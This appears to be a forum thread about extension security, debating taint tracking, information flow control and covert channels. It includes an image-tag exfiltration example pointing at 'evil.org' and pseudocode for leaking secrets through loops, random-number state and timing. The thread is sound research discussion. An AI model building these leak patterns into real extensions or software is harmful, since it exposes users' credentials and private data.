The Most Dangerous Code in the Web Browser
stefanheule.com
stefanheule.com
Unfortunately, the DOM itself is so flexible and powerful, that it can be used to exfiltrate information through a variety of mechanisms.
For example, that same extension that only has access to gmail.com's DOM? Well, it can add an image like <img src="evil.org?{secrets}">.
The extension system could try to detect such things, but there are a variety of ways for bad extensions to work around the detections.
Of course there are other ways malicious extensions can used to leak data---pick your favorite covert channel. But the idea was to propose APIs (and mechanisms) that are not overtly leaky. (We are early in the process of actually building this though.)
[1] https://www.usenix.org/conference/hotos15/workshop-program/p...
Essentially, yes. Requests from the extension should be treated as if they are of an origin different from the page. (We could potentially piggy-back on existing notions of security principals (e.g., that Firefox has) to avoid huge performance hits.) And if the extension is tainted the kinds of requests will be restricted according to the taint (as in COWL [1], likely using CSP for the underlying enforcement).
"What if the main script is sensitive to the request receive time? Then the shadow DOM may act differently."
If by main script you mean a script on the page, then there should be no real difference.
"From more practical standpoint, having two DOMs for every page will eat even more of my laptop's RAM."
I hope this won't be so bad down the line (assuming we'd be able to leverage some underlying shadow DOM infrastructure and that performs relatively well).
[1] http://cowl.ws
I think part of what you are proposing Chrome already implements and calls "isolated worlds". Chrome extensions don't operate directly on the page's DOM, they have an isolated version of it (https://developer.chrome.com/extensions/content_scripts).
So in principal, we already have the context from which we can decide which network requests to allow or block (this is already used today to allow cross-origin XHR from content scripts).
However, it is super gnarly to implement your idea in practice because:
1. There has to be a connection traced from every network requests back to the JS context which ultimately caused the request (e.g., by mutating the DOM). This is doable, it's just a lot of work.
2. There can't be any way to execute JavaScript in the page - even with page's principal. Such mechanisms exist today by design because developers desire them.
3. Even if you do 1 and 2, there are still channels such as hyperlinks. The extension could add a hyperlink and get the user to click on it. I suppose you could try and tie that back to the script context that created or modified the hyperlink.
4. Even if you do 1-3, if you can induce the page script (or any other extension, or the browser, or the user) to request a URL of your design, you win.
Sigh. Still seems fun as a research project to see how close you could get.
I think CSP helps with 1 & 2, unless I'm missing something? (Our labels map down to CSP policies pretty naturally.)
Points 3-4 and phishing, in general, are definitely a concern. Unfortunately, I'm not sure that a great solution that does not get in way exists, but we'll see how close we can get :)
Kaspersky Internet Security and Kaspersky Total Security are adding an extension to your browser called "Safe Money" and an associated plug-in called "Online Banking" that protect your banking transactions. It opens a separate "protected" browser tab, verifies credentials, checks for spoofing, etc. This is all fine, I think.
However, I was annoyed to discover that it acts as a man-in-the-middle to monitor the HTTPS traffic between me and my bank or credit card site. I suppose Kaspersky wants to check for malicious content sent by a fake bank site or whatever. But I don't want Kaspersky scanning/storing/analyzing my bank transactions and bank passwords.
Kaspersky does not tell you that they are doing MITM, or what they're checking for, or what (if any) info is sent back to their servers for analysis, or what (if anything) is stored.
I removed "Safe Money" and all of their other extensions and plug-in[1]. I still use Kaspersky, but if a security-oriented company is engaging in shenanigans with extensions and plug-ins, then what do we expect from less trustworthy companies?
[1] You cannot remove Kaspersky's extensions and plug-ins directly from Firefox. If you disable the Kaspersky extensions, the next time you restart Firefox, they are re-enabled. If you set the Kaspersky plug-ins to "Never activate", the next time you restart Firefox, they are back to "Always activate". Kaspersky has gone to a lot of effort to make it nearly impossible to remove their extensions and plug-ins once you install them! It took me a long time to get rid of them.
I got rid of the Kaspersky extensions as follows:
In the Kaspersky menu, I went to Settings > Protection > Web Anti-Virus > Advanced Settings, and unchecked "Automatically activate application plug-ins in all web browsers". Though Kaspersky's settings refer to plug-ins, this actually disables the extensions, not the plug-ins. You can't choose which of their 3 extensions to enable or disable; it's all or nothing. I also disabled Kaspersky's Web Anti-Virus, which may or may not have been necessary to the procedure.
As to how they were re-enabling plug-ins, I found a comment on the Kaspersky forums that seems informative and I'll quote here:
FF stores all its settings in prefs.js file but user.js file serves a different purpose.[1] A user.js file is an alternative method of modifying preferences, recommended for advanced users only. Unless you need a user.js file for a specific purpose you should use about:config instead. The user.js file does not exist by default. Once an entry for a preference setting exists in the user.js file, any change you make to that setting in the options and preference dialogs or via about:config will be lost when you restart your Mozilla application because the user.js entry will override it.[2] So, here is what KIS does: after installation it creates user.js file in your Firefox profile and writes a couple of preferences there that activate Kaspersky plugins. As the result, even if you disable the plugins in FF settings, they will be enabled after restart.[3]
[1][3] http://forum.kaspersky.com/index.php?showtopic=301934&st=0&p...
[2] http://kb.mozillazine.org/User.js_file
I personally got rid of the Kaspersky plug-ins as follows:
- Saved my Firefox bookmarks
- Uninstalled Firefox
- Removed my FF profile (in Window 7, it's c:/Users/<username>/AppData/Roaming/Mozilla/Firefox/Profiles/*)
- Disabled Kaspersky
- Reinstalled Firefox
- Created a new profile in Firefox (FF will ask you if the profile is missing)
- Restored my Firefox bookmarks
- Re-enabled KasperskyWhile the tainted data approach sounds interesting, I don't think there's an easy way to guarantee the safeness of arbitrary code executed on your machine. It's possible to sandbox code, but as soon as you allow any communication at all, there's no automated way to prevent data theft.
Fully agree. We actually described exactly that mechanism in an early version of our paper (declarative APIs), but didn't have enough space to do it for the final version.
"While the tainted data approach sounds interesting, I don't think there's an easy way to guarantee the safeness of arbitrary code executed on your machine. It's possible to sandbox code, but as soon as you allow any communication at all, there's no automated way to prevent data theft."
It turns out, it is possible with information flow control (IFC). The simple idea behind IFC is to protect data by labeling/tagging it and restricting code according to the kinds of labeled data it reads. Once code in an execution context (e.g., iframe or process) reads some labeled data, IFC restricts where it can further communicate. In the simplest form: once you read data that is SECRET, you can't write to any PUBLIC communication channel. (You can, of course, write to a SECRET channel.)
I think you missed the point of the article, which proposes exactly that.
All I/O functions would tag all variables populated by them with the source of the data.
When a tagged ("tainted") variable is used in an I/O function again, we can compare origin/destination and apply firewall-style filtering or prompt the user.
.----------------------------------------.
| Add-On "Evernote" has read data from: |
| Chrome Clipboard |
| |
| and wants to send it to: |
| http://evernote.com |
+----------------------------------------+
| [Deny] [Allow] ( ) Remember |
`----------------------------------------' for (int i=0;i<LEN; i++) {
for (char c=0; c<255;c++) {
if (tainted[i] == c) {
untainted[i] = c;
}
}
}
send(untainted);
In the promiscuous world of imperative programming there's millions of ways to introduce dependency that can't be automaticaly checked.
For more complex - you can have workers/threads doing while() { sleep(), next_letter; } and other workers killing them after calculated time.
Or you can get different number of pseudorandom numbers from generator with known seed in one loop depending on tainted data, and after the loop untainted data is set depending on the current random number from the same generator. Calling rand() taints the generator.
I thought they would just mark the whole etension as tainted once it reads tainted data. And then any communication with other sites show the warning.
Yes, because the assignment happens inside a conditional that references a tainted variable.
In the promiscuous world of imperative programming there's millions of ways to introduce dependency that can't be automaticaly checked.
That is not true.
workers/threads doing while() { sleep(), next_letter; }
What is that supposed to achieve?
known seed in one loop depending on tainted data
Every variable assigned to within a "loop depending on tainted data" becomes tainted. Calling rand() doesn't taint the generator. Seeding it within a tainted scope does.
Edit: I was wrong (see below), of course rand() also taints the generator.
What if it was
if (!tainted[i]==c) {
continue;
}
untainted[i]=c;
If your checker is smart enough to catch this - your whole program is tainted by your password once you check it in the login screen.
> What is that supposed to achieve?
Global state is incramented by another worker every second to the next value. My thread kills the other worker after N seconds. global state = N and I haven't touched it.
If you don't want to call kill from if depending on tainted data - sleep in that if, and call kill immediately after it.
> Calling rand() doesn't taint the generator. Seeding it within a tainted scope does.
It does:
set_seed(1337);
for(int i=0; i<tainted[0]; i++) {
rand();
}
int tmp = rand()); // now I know what tainted[i] was
// because I know how many times
// rand() was called, because I know
// the whole sequence because I know
// (untainted) seed.To clarify, tainting "scope" doesn't refer to variable scope but is commonly implemented as a (thread-local) global dict that tracks tainted access in execution order.
In your example the variable 'c' would be tainted from the moment the conditional evaluates until it is either re-assigned (from a non-tainted source) or until the program ends.
If your checker is smart enough to catch this - your whole program is tainted by your password once you check it in the login screen.
Not sure what you mean by "your password" in this context. Which password, from what source?
Calling rand() taints the generator
Pardon, you are of course right. Yes it does.
Timing attack against yourself.
Something along the lines of the following, for instance:
<thread 1>
for (int i = 0; i < LEN; i++) {
for (int j = 0; j < sizeof(char); j++) {
while (flagA) {}
if (tainted[i] && (1 << j) == 0)
sleep(1);
flagA = true;
}
}
<thread 2>
flagA = false;
for (int i = 0; i < LEN; i++) {
for (int j = 0; j < sizeof(char); j++) {
sleep(0.5);
if (flagA)
untainted[i] ||= (1 << j);
while (!flagA) {}
flagA = false;
}
}
(Note that you can also leak LEN at the start, as to avoid tainting the loop.)
I think tainting can only be made reliable in a single-threaded environment.
Even without shared workers timing attack works - untainted worker can connect to attacker site every second and update value, and be killed by untainted code after the tainted worker finished.
EDIT: or you can do this with no multithreading at all, just getMiliseconds() before and after tainted code, and make the tainted part last secret_number miliseconds.
Or if you blacklist getMiliseconds as tainting - do this on server instead.
callAttackersServer();
{
var tainted_int = getFromOtherServer();
for (var i=0; i<tainted_int; i++) {
sleep(100 ms);
}
}
callAttackersServer();
and the difference in time between calls will be interpreted on the server as the secret number.Within the call-stack we should probably simply consider all I/O that happens after a tainted variable was accessed to be tainted as well.
That and banning trusted extensions from using concurrency mechanisms should sort those out. Correct me if I'm missing something, though!
Also: yes, you are missing something. Namely that you don't need concurrency for this sort of timing attack. Even something as simple as "X does work or doesn't" and "Y measures execution time" leaks timing info.
For another example: X either reflows the page, or doesn't. Y keeps track of the refresh rate of the page. Or does a timing attack to determine if the page was reflowed or not. Or injects JS into the page to ping website Z when a reflow happens. (Note that it can inject this JS before it grabs the sensitive data.)
For another example: Depending on sensitive data, I either allocate a large array or don't. And then detect how much is allocated before a GC happens.
Note that this can be part JS / part "trusted" extension. It can also even take advantage of parts of existing pages.
The more I consider this scheme, the more I think it's an elegant scheme against accidental leaks, but is fundamentally flawed against malicious leaks. Unfortunately, since the entire point of it is to protect against malicious leaks...
That's actually not the entire point. At least in this paper, we do not claim to address attacks that leverage covert channels. But the attacker model assumption is weaker (i.e., the attacker is assumed to be more powerful) than that originally assumed by the Chrome design (e.g., that only pages are malicious and will try to exploit extensions). And this is important. Particularly because the design that we end up with will be more secure than the current one. So, at worst, the new system addresses the limitations of the existing system under their attacker model. Then, depending on how far you are willing to hack up the browser, underlying OS, or hardware you can also try to address the covert channel leaks.
So if you read my cookies and then access the DOM (to trigger a reflow or inject JS), then all future accesses to the DOM will be considered tainted.
This doesn't taint "everything", but it should taint exactly what we want to be tainted (all possible paths to our sensitive data).
Yes, the challenge would be to find and treat all covert channels (time, GC, PRNG etc.), but that seems surmountable. The very exotic channels (like your GC example) are best handled by trimming down the general API for trusted extensions.
I.e. most extensions don't need any kind of GC access to begin with. If your extension does then all bets for fine grained taint-checks are off and it must be marked as "fully trusted" by the user before proceeding.
IFC/tainting mechanism:
The style of IFC we are proposing is not not the tainting style used by more typical language-level systems. In particular, we're proposing a mostly-coarse grained system:
- A single label is associated with a context. A context can be the main extension context or, more likely, a light-weight worker the main extension context created. This single label is conceptually the label on everything in scope. As such, when performing some I/O this label is used by the IFC mechanism to check if the code is allowed to perform the read/write. This coarse-grained approach alleviates the need to keep track of tricky leaks due to control flow: the branch condition has the label of the context so any control flow within the context is safe. If you want to perform a public computation after a secret computation, you need to structure your program into multiple contexts (e.g. create a new worker wherein you intend to perform the secret computation).
- Labels can also be associated with values. A new constructor Labeled is provided for this task. You can think of it as a boxing the value and, by default, only allowing you to inspect the label of the value. You can pass such labeled values around as you see fit (and this is pretty useful in real applications). Importantly, however, when you read the underlying (protected) value the IFC system taints your context---i.e., it raises the context label to let you read the value, but also restricts your code from writing to arbitrary end-points since doing so may leak something about the newly-read value.
An important requirement of this IFC approach is that there be no unlabeled (implicit) shared state between the different contexts. For example, rand() in context A and B must not share an underlying generator. This kind of isolation can be achieved in practice and is an important detail when considering covert channels.
Timing channels:
It turns out that if you do IFC in this coarse-grained fashion you can prevent leaks due to timing covert channels, if you are willing/able to schedule contexts using a "secure scheduler." In [1] we showed how to eliminate timing attacks of the style described in this thread (internal timing channels) that are inherent to the more typical IFC systems. In [2] we extended the system to deal with timing attacks due to the CPU cache by using an instruction-based scheduler (IBS). IBS and other techniques to deal with timing channels are nicely described in [3]. (I'd be happy to expand here, but this is already a long reply.)
[1] http://www.scs.stanford.edu/~deian/pubs/stefan:2012:addressi... [2] http://www.scs.stanford.edu/~deian/pubs/stefan:2013:eliminat... [3] https://ssrg.nicta.com.au/projects/TS/timingchannels.pml
In Chrome, you'll get a small popup box where you need to approve the extensions permissions. Things like "This extension can read and edit all the pages you visit" - but there's no further information about what this means. If there were an extended view, where different permissions were explained, the cat loving user might start to wonder why the extension requires permissions to read all their history, clipboard, cookies, etc.
In the end, a lot of users will just click the OK button without reading anything. But there's still a greater chance of helping users make a decent choice when they understand what they're installing.
[1] http://www.ieee-security.org/TC/W2SP/2012/papers/w2sp12-fina... [2] http://www.scs.stanford.edu/~deian/pubs/stefan:2014:protecti...
What this could help with is organizing easier review process. E.g. if an extension is described to show a weather forecast in the browser, it probably shouldn't be accessing mail.google.com.
The browser should totally have nice controls for what any extension can do.
As to it being computer operation 101, not to run code you don't trust, how do you establish the trustworthiness of all the pieces of code that run on your computer? there's far too much for anyone to audit by themselves and there is no good way of assessing the security or intent of most of the organisations that you get code from.
While I might inspect a source for a single sketchy looking addon at installation, inspecting every addon every time it's updated (sometimes weekly or more often) is absurd, and that's why you get cases of adware slipping by for months before anyone notices.
Although making a way to easily see the changes made with each new version, something diff-like, would alleviate the problem.
Even if values and their derivatives are "tainted" (remember Perl 5?) there are _always_ means to take a value and "untaint" it. Unless, of course, the set of possible operations on such value is severely restricted, but I believe that'd make things unusable.
This reminds me of ICFPC'08 (one of best ICFP contests ever) where one of the puzzles was about a robot that wasn't able to disclose secret blueprint contents because of a Censory Engine. Every time a secret or some derived value was about to be printed, it was replaced with "REDACTED". Surely, there was a way to work around this. ;)
So, a malicious extension would always be able to steal your password and send it to remote site, even if it would have to leak the data bit-per-bit, a single bit per request, over a side channel.
This is exactly the reason why I install so few extensions and buy none.
The same is becoming true for Android Apps, more of them require more permissions every day. Recently an app I'd run for months if not years wanted to install an update and demanded that I give it permission to view my phone calls and even the remote caller's phone number. This had nothing to do with the purpose of that app, all it would need at most is to know if a phone call came in so it could pause.
https://chrome.google.com/webstore/detail/chrome-apps-extens...
Click on behavior to see the history or look at realtime stuff from extensions or apps. Requests and access(!) get recorded. It shows privacy-related history and the extension is from google.
The possible security models where you can send data but it's encrypted are not very appealing. For a single application it may be fine (lastpass, or chrome syncing with passphrase), but it's really hard to see how that can be a standard api and remain secure.
> The extension system could try to detect such things, but there are a variety of ways for bad extensions to work around the detections.
A computer proveably (in the mathematical sense) cannot detect all forms of bad behaviour; and the security history of all the software in the world proves (in the historical, not mathematical, sense) that neither can the best programmers, let alone overworked reviewers who see mostly benign or trivially malicious code and so are not experienced in finding subtly malicious code.
https://developer.mozilla.org/en-US/Add-ons/AMO/Policy/Revie...
I had an experience awhile ago where I found a Chrome extension that was inserting its own ads among Google search results. It was subtle enough that most people probably would never notice it happening, inserting an ad in a place where you would expect Google display an ad in results.